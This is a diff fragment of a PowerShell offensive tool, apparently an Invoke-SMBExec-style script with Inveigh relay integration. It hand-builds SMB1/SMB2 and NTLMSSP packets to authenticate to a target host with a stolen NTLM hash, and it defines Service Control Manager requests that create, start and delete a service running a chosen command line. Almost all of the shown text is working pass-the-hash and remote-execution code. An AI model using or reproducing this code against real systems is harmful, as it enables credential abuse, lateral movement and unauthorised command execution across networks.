+ $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength)
+ $SCMCreateServiceW.Add("BinaryPathName",$Command)
+ $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00))
+ $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00))
+
+ return $SCMCreateServiceW
}
-function Get-PacketSCMStartServiceW()
+function New-PacketSCMStartServiceW
{
- param([Byte[]]$packet_context_handle)
+ param([Byte[]]$ContextHandle)
- $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle)
- $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary
+ $SCMStartServiceW.Add("ContextHandle",$ContextHandle)
+ $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- return $packet_SCMStartServiceW
+ return $SCMStartServiceW
}
-function Get-PacketSCMDeleteServiceW()
+function New-PacketSCMDeleteServiceW
{
- param([Byte[]]$packet_context_handle)
+ param([Byte[]]$ContextHandle)
- $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle)
+ $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary
+ $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle)
- return $packet_SCMDeleteServiceW
+ return $SCMDeleteServiceW
}
-function Get-PacketSCMCloseServiceHandle()
+function New-PacketSCMCloseServiceHandle
{
- param([Byte[]]$packet_context_handle)
+ param([Byte[]]$ContextHandle)
- $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle)
+ $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary
+ $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle)
- return $packet_SCM_CloseServiceW
+ return $SCM_CloseServiceW
}
-function DataLength2
+function Get-StatusPending
{
- param ([Int]$length_start,[Byte[]]$string_extract_data)
+ param ([Byte[]]$Status)
- $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0)
+ if([System.BitConverter]::ToString($Status) -eq '03-01-00-00')
+ {
+ $status_pending = $true
+ }
- return $string_length
+ return $status_pending
+}
+
+function Get-UInt16DataLength
+{
+ param ([Int]$Start,[Byte[]]$Data)
+
+ $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)
+
+ return $data_length
}
if($hash -like "*:*")
@@ -829,313 +859,503 @@ else
$output_username = $Username
}
+if($PSBoundParameters.ContainsKey('Session'))
+{
+ $inveigh_session = $true
+}
+
+if($PSBoundParameters.ContainsKey('Session'))
+{
+
+ if(!$Inveigh)
+ {
+ Write-Output "[-] Inveigh Relay session not found"
+ $startup_error = $true
+ }
+ elseif(!$inveigh.session_socket_table[$session].Connected)
+ {
+ Write-Output "[-] Inveigh Relay session not connected"
+ $startup_error = $true
+ }
+
+ $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString
+}
+
$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))
-$process_ID = $process_ID -replace "-00-00",""
-[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-$SMB_client = New-Object System.Net.Sockets.TCPClient
-$SMB_client.Client.ReceiveTimeout = 60000
+[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-try
+if(!$inveigh_session)
{
- $SMB_client.Connect($Target,"445")
+ $client = New-Object System.Net.Sockets.TCPClient
+ $client.Client.ReceiveTimeout = 60000
}
-catch
+
+if(!$startup_error -and !$inveigh_session)
{
- Write-Output "$Target did not respond"
+
+ try
+ {
+ $client.Connect($Target,"445")
+ }
+ catch
+ {
+ Write-Output "[-] $Target did not respond"
+ }
+
}
-if($SMB_client.Connected)
+if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected))
{
- $SMB_client_stream = $SMB_client.GetStream()
- $SMB_client_receive = New-Object System.Byte[] 1024
- $SMB_client_stage = 'NegotiateSMB'
+ $client_receive = New-Object System.Byte[] 1024
- while($SMB_client_stage -ne 'exit')
+ if(!$inveigh_session)
{
-
- switch ($SMB_client_stage)
+ $client_stream = $client.GetStream()
+
+ if($SMB_version -eq 'SMB2.1')
+ {
+ $stage = 'NegotiateSMB2'
+ }
+ else
{
+ $stage = 'NegotiateSMB'
+ }
- 'NegotiateSMB'
- {
- $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00
- $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ while($stage -ne 'Exit')
+ {
+
+ try
+ {
- if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42')
+ switch ($stage)
{
- $SMB_version = 'SMB1'
- $SMB_client_stage = 'NTLMSSPNegotiate'
- if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f')
+ 'NegotiateSMB'
{
- Write-Verbose "SMB signing is enabled"
- $SMB_signing = $true
- $SMB_session_key_length = 0x00,0x00
- $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0
+ $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00
+ $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+
+ try
+ {
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+
+ if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42')
+ {
+ $SMB_version = 'SMB1'
+ $stage = 'NTLMSSPNegotiate'
+
+ if([System.BitConverter]::ToString($client_receive[39]) -eq '0f')
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ Write-Verbose "[+] SMB signing is required"
+ $SMB_signing = $true
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x15,0x82,0x08,0xa0
+ }
+
+ }
+ else
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is not required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ $SMB_signing = $false
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x05,0x82,0x08,0xa0
+ }
+
+ }
+
+ }
+ else
+ {
+ $stage = 'NegotiateSMB2'
+
+ if([System.BitConverter]::ToString($client_receive[70]) -eq '03')
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+
+ if($signing_check)
+ {
+ Write-Verbose "[+] SMB signing is required"
+ }
+
+ $SMB_signing = $true
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x15,0x82,0x08,0xa0
+ }
+
+ }
+ else
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is not required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ $SMB_signing = $false
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x05,0x80,0x08,0xa0
+ }
+
+ }
+
+ }
+
+ }
+ catch
+ {
+
+ if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."')
+ {
+ Write-Output "[-] SMB1 negotiation failed"
+ $negoitiation_failed = $true
+ $stage = 'Exit'
+ }
+
+ }
+
}
- else
+
+ 'NegotiateSMB2'
{
- $SMB_signing = $false
- $SMB_session_key_length = 0x00,0x00
- $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0
- }
- }
- else
- {
- $SMB_client_stage = 'NegotiateSMB2'
+ if($SMB_version -eq 'SMB2.1')
+ {
+ $message_ID = 0
+ }
+ else
+ {
+ $message_ID = 1
+ }
+
+ $tree_ID = 0x00,0x00,0x00,0x00
+ $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
+ $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID
+ $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'NTLMSSPNegotiate'
+
+ if([System.BitConverter]::ToString($client_receive[70]) -eq '03')
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+
+ if($signing_check)
+ {
+ Write-Verbose "[+] SMB signing is required"
+ }
+
+ $SMB_signing = $true
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x15,0x82,0x08,0xa0
+ }
+
+ }
+ else
+ {
+
+ if($signing_check)
+ {
+ Write-Output "[+] SMB signing is not required on $target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ $SMB_signing = $false
+ $session_key_length = 0x00,0x00
+ $negotiate_flags = 0x05,0x80,0x08,0xa0
+ }
+
+ }
- if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')
- {
- Write-Verbose "SMB signing is enabled"
- $SMB_signing = $true
- $SMB_session_key_length = 0x00,0x00
- $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0
}
- else
+
+ 'NTLMSSPNegotiate'
{
- $SMB_signing = $false
- $SMB_session_key_length = 0x00,0x00
- $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0
- }
+ if($SMB_version -eq 'SMB1')
+ {
+ $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00
+
+ if($SMB_signing)
+ {
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ }
+
+ $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
+ $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ }
+ else
+ {
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID
+ $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags
+ $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
+ $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate
+ $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ }
+
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'Exit'
+ }
+
}
}
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ $negoitiation_failed = $true
+ }
+
+ }
+
+ if(!$signing_check -and !$negoitiation_failed)
+ {
+ $NTLMSSP = [System.BitConverter]::ToString($client_receive)
+ $NTLMSSP = $NTLMSSP -replace "-",""
+ $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000")
+ $NTLMSSP_bytes_index = $NTLMSSP_index / 2
+ $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive
+ $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive
+ $session_ID = $client_receive[44..51]
+ $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)]
+ $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)]
+ $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)]
+ $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
+ $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $auth_hostname = (Get-ChildItem -path env:computername).Value
+ $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
+ $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)
+ $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
+ $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
+ $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1]
+ $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1]
+ $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1]
+ $auth_domain_offset = 0x40,0x00,0x00,0x00
+ $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
+ $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
+ $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
+ $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
+ $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
+ $HMAC_MD5.key = $NTLM_hash_bytes
+ $username_and_target = $username.ToUpper()
+ $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
+ $username_and_target_bytes += $auth_domain_bytes
+ $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
+ $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+
+ $security_blob_bytes = 0x01,0x01,0x00,0x00,
+ 0x00,0x00,0x00,0x00 +
+ $target_time_bytes +
+ $client_challenge_bytes +
+ 0x00,0x00,0x00,0x00 +
+ $target_details +
+ 0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00
+
+ $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes
+ $HMAC_MD5.key = $NTLMv2_hash
+ $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
+
+ if($SMB_signing)
+ {
+ $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
+ $session_key = $session_base_key
+ $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256
+ $HMAC_SHA256.key = $session_key
+ }
+
+ $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
+ $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1]
+ $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
+
+ $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
+ 0x03,0x00,0x00,0x00,
+ 0x18,0x00,
+ 0x18,0x00 +
+ $auth_LM_offset +
+ $NTLMv2_response_length +
+ $NTLMv2_response_length +
+ $auth_NTLM_offset +
+ $auth_domain_length +
+ $auth_domain_length +
+ $auth_domain_offset +
+ $auth_username_length +
+ $auth_username_length +
+ $auth_username_offset +
+ $auth_hostname_length +
+ $auth_hostname_length +
+ $auth_hostname_offset +
+ $session_key_length +
+ $session_key_length +
+ $session_key_offset +
+ $negotiate_flags +
+ $auth_domain_bytes +
+ $auth_username_bytes +
+ $auth_hostname_bytes +
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
+ $NTLMv2_response
+
+ if($SMB_version -eq 'SMB1')
+ {
+ $SMB_user_ID = $client_receive[32,33]
+ $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID
+
+ if($SMB_signing)
+ {
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ }
- 'NegotiateSMB2'
+ $packet_SMB_header["UserID"] = $SMB_user_ID
+ $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response
+ $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
+ $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ }
+ else
{
- $SMB2_tree_ID = 0x00,0x00,0x00,0x00
- $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
- $SMB2_message_ID = 1
- $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest
+ $message_ID++
+ $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID
+ $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response
$SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
+ $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth
+ $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth
$SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'NTLMSSPNegotiate'
+ $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
}
-
- 'NTLMSSPNegotiate'
- {
+
+ try
+ {
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+
if($SMB_version -eq 'SMB1')
{
- $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00
- if($SMB_signing)
+ if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00')
+ {
+ Write-Verbose "[+] $output_username successfully authenticated on $Target"
+ $login_successful = $true
+ }
+ else
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ Write-Output "[!] $output_username failed to authenticate on $Target"
+ $login_successful = $false
}
- $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
- $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
}
else
{
- $SMB2_message_ID += 1
- $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
- $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+ if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')
+ {
+ Write-Verbose "[+] $output_username successfully authenticated on $Target"
+ $login_successful = $true
+ }
+ else
+ {
+ Write-Output "[!] $output_username failed to authenticate on $Target"
+ $login_successful = $false
+ }
+
}
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'exit'
}
-
- }
-
- }
-
- $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive)
- $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-",""
- $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000")
- $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2
- $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive
- $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive
- $SMB_session_ID = $SMB_client_receive[44..51]
- $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)]
- $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
- $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)]
- $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
- $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
- $auth_hostname = (Get-ChildItem -path env:computername).Value
- $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
- $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)
- $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
- $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
- $auth_domain_length = $auth_domain_length[0,1]
- $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
- $auth_domain_length = $auth_domain_length[0,1]
- $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)
- $auth_username_length = $auth_username_length[0,1]
- $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)
- $auth_hostname_length = $auth_hostname_length[0,1]
- $auth_domain_offset = 0x40,0x00,0x00,0x00
- $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
- $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
- $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
- $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
- $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
- $HMAC_MD5.key = $NTLM_hash_bytes
- $username_and_target = $username.ToUpper()
- $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
- $username_and_target_bytes += $auth_domain_bytes
- $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
- $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
- $security_blob_bytes = 0x01,0x01,0x00,0x00,
- 0x00,0x00,0x00,0x00 +
- $SMB_target_time_bytes +
- $client_challenge_bytes +
- 0x00,0x00,0x00,0x00 +
- $SMB_target_details +
- 0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00
-
- $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes
- $HMAC_MD5.key = $NTLMv2_hash
- $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
-
- if($SMB_signing)
- {
- $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
- $session_key = $session_base_key
- $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256
- $HMAC_SHA256.key = $session_key
- }
-
- $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
- $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)
- $NTLMv2_response_length = $NTLMv2_response_length[0,1]
- $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
-
- $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
- 0x03,0x00,0x00,0x00,
- 0x18,0x00,
- 0x18,0x00 +
- $auth_LM_offset +
- $NTLMv2_response_length +
- $NTLMv2_response_length +
- $auth_NTLM_offset +
- $auth_domain_length +
- $auth_domain_length +
- $auth_domain_offset +
- $auth_username_length +
- $auth_username_length +
- $auth_username_offset +
- $auth_hostname_length +
- $auth_hostname_length +
- $auth_hostname_offset +
- $SMB_session_key_length +
- $SMB_session_key_length +
- $SMB_session_key_offset +
- $SMB_negotiate_flags +
- $auth_domain_bytes +
- $auth_username_bytes +
